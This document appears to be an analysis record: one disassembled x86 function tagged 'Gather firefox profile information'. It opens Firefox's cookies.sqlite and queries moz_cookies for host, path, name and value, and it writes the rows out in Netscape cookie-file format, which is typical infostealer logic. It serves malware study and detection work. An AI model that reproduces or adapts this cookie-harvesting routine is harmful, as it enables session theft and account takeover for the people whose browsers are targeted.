Function at 0x414a36
Capabilities:
Gather firefox profile information

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov edi, edx
mov dword [esp + 0x20], ecx
call fcn.0041a416
mov esi, eax
test esi, esi
je 0x414ccf
push edi
push str._lscookies.sqlite
call fcn.0041c210
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x414ccf
mov ecx, ebx
call fcn.0041c26a
mov ebp, eax
test ebp, ebp
je 0x414cc8
xor edx, edx
mov ecx, ebp
call fcn.0041c4d6
mov edi, eax
mov dword [esp + 0x18], edi
test edi, edi
je 0x414cb1
push 0
push 1
lea eax, [esp + 0x24]
push eax
push edi
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x414ca2
push ebx
push str.Find_gecko_cookies_db__ls_n
call fcn.004115bb
push 0
lea eax, [esp + 0x1c]
push eax
push 0xffffffffffffffff
push str.SELECT_host__isHttpOnly__path__isSecure__expiry__name__value_FROM_moz_cookies
push dword [esp + 0x34]
call dword [esi + 8]
add esp, 0x1c
test eax, eax
jne 0x414c9a
lea edi, [esp + 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jmp 0x414c43
push 0
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 0
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.0041c4ae
pop ecx
push 1
push dword [esp + 0x14]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x414b20
cmp byte [eax], 0x31
jne 0x414b20
mov edi, str._tTRUE_t
mov eax, edi
jmp 0x414b27
mov edi, str._tFALSE_t
mov eax, edi
push eax
call fcn.00405b40
mov edx, edi
lea edi, [esp + 0x28]
pop ecx
push eax
mov ecx, edi
call fcn.0041c353
pop ecx
push 2
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 2
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
mov ecx, edi
call fcn.0041c4ae
pop ecx
push 3
push dword [esp + 0x14]
call dword [esi + 0x10]
pop ecx
pop ecx
test eax, eax
je 0x414b77
cmp byte [eax], 0x31
mov eax, str._tTRUE_t
je 0x414b7c
mov eax, str._tFALSE_t
push eax
mov dword [esp + 0x18], eax
call fcn.00405b40
mov edx, dword [esp + 0x18]
pop ecx
push eax
mov ecx, edi
call fcn.0041c353
pop ecx
push 4
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 4
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.0041c4ae
pop ecx
mov edi, 0x422138
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x28]
call fcn.0041c353
pop ecx
push 5
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 5
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.0041c4ae
pop ecx
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x28]
call fcn.0041c353
pop ecx
push 6
push dword [esp + 0x14]
call dword [esi + 0x20]
pop ecx
pop ecx
push eax
push 6
push dword [esp + 0x18]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x28]
call fcn.0041c4ae
pop ecx
mov edi, 0x422044
push edi
call fcn.00405b40
pop ecx
push eax
mov edx, edi
lea ecx, [esp + 0x28]
call fcn.0041c353
pop ecx
push dword [esp + 0x10]
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
je 0x414ae0
cmp dword [esp + 0x24], 0
je 0x414c96
push dword [esp + 0x34]
push dword [esp + 0x24]
push 0x42213c
call fcn.0041c210
mov edi, eax
add esp, 0xc
test edi, edi
je 0x414c8c
mov edx, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
push edi
call fcn.00418e9d
pop ecx
push edi
call fcn.004056f0
pop ecx
push dword [esp + 0x24]
call fcn.004056f0
pop ecx
mov edi, dword [esp + 0x18]
push dword [esp + 0x10]
call dword [esi + 0x18]
pop ecx
push dword [esp + 0x1c]
call dword [esi + 0x1c]
pop ecx
push edi
call fcn.004056f0
pop ecx
xor ecx, ecx
mov edx, 0x62d87b
push ebp
inc ecx
call fcn.0041287b
call eax
push ebp
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret